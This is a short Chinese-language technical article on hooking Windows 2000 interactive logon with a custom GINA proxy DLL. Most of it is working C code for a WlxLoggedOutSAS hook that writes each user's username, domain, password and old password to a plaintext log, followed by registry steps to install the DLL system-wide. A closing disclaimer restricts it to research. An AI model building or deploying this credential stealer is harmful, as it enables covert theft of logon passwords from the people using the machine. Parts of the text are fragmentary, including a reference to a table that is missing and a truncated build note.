Windows 2000 互動登入由 Winlogon 呼叫 GINA DLL(預設 MSGINA.DLL)處理。透過自訂 GINA DLL 轉呼原始函數,可在 WlxLoggedOutSAS 中攔截使用者輸入的帳號、密碼、網域與舊密碼。
共 18 個函數(WlxActivateUserShell、WlxLoggedOutSAS、WlxLoggedOnSAS、WlxWkstaLockedSAS 等),詳細列表見文中表格。採用動態載入 MSGINA.DLL 並 GetProcAddress 取得原始函數指標,自訂 DLL 僅實作需攔截的函數,其餘轉呼原版。
WlxLoggedOutSASint WINAPI WlxLoggedOutSAS(PVOID pWlxContext, DWORD dwSasType, PLUID pAuthId,
PSID pLogonSid, PDWORD pdwOpts, PHANDLE phToken,
PWLX_MPR_NOTIFY_INFO pMprInfo, PVOID* pProfile) {
int ret = g_pfnOrigWlxLoggedOutSAS(pWlxContext, dwSasType, pAuthId,
pLogonSid, pdwOpts, phToken, pMprInfo, pProfile);
if (ret == WLX_SAS_ACTION_LOGON && pMprInfo) {
// 記錄登入時間
CTime tm = CTime::GetCurrentTime();
char buf[100]; sprintf(buf, "%04d_%02d_%02d %02d:%02d:%02d\r\n",
tm.GetYear(), tm.GetMonth(), tm.GetDay(),
tm.GetHour(), tm.GetMinute(), tm.GetSecond());
WriteLog("logon_time: "); WriteLog(buf);
// 取得帳密(Unicode 轉 ANSI)
if (pMprInfo->pszUserName) { WriteLog("Username: "); WriteLogW(pMprInfo->pszUserName); }
if (pMprInfo->pszDomain) { WriteLog("Domain: "); WriteLogW(pMprInfo->pszDomain); }
if (pMprInfo->pszPassword) { WriteLog("Password: "); WriteLogW(pMprInfo->pszPassword); }
if (pMprInfo->pszOldPassword){ WriteLog("OldPwd: "); WriteLogW(pMprInfo->pszOldPassword); }
}
return ret;
}
void WriteLogW(PWSTR wstr) {
int len = WideCharToMultiByte(CP_ACP, 0, wstr, -1, NULL, 0, NULL, NULL);
PSTR astr = (PSTR)HeapAlloc(GetProcessHeap(), 0, len);
WideCharToMultiByte(CP_ACP, 0, wstr, -1, astr, len, NULL, NULL);
WriteLog(astr);
HeapFree(GetProcessHeap(), 0, astr);
}
MyGina.dll,複製至 %SystemRoot%\System32。HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\GinaDLL = "MyGina.dll"。救援模式:若無法登入,安全模式刪除註冊表值,或 DOS 下 copy msgina.dll mygina.dll 覆蓋。
_AFXDLL、_USRDLL 二選一。mfc42u.lib)。此技術屬敏感安全研究範疇,僅供學術研究、系統整合測試使用。未經授權部署於他人電腦屬違法行為,可能觸犯資安法規。請嚴格遵守法律與職業道德。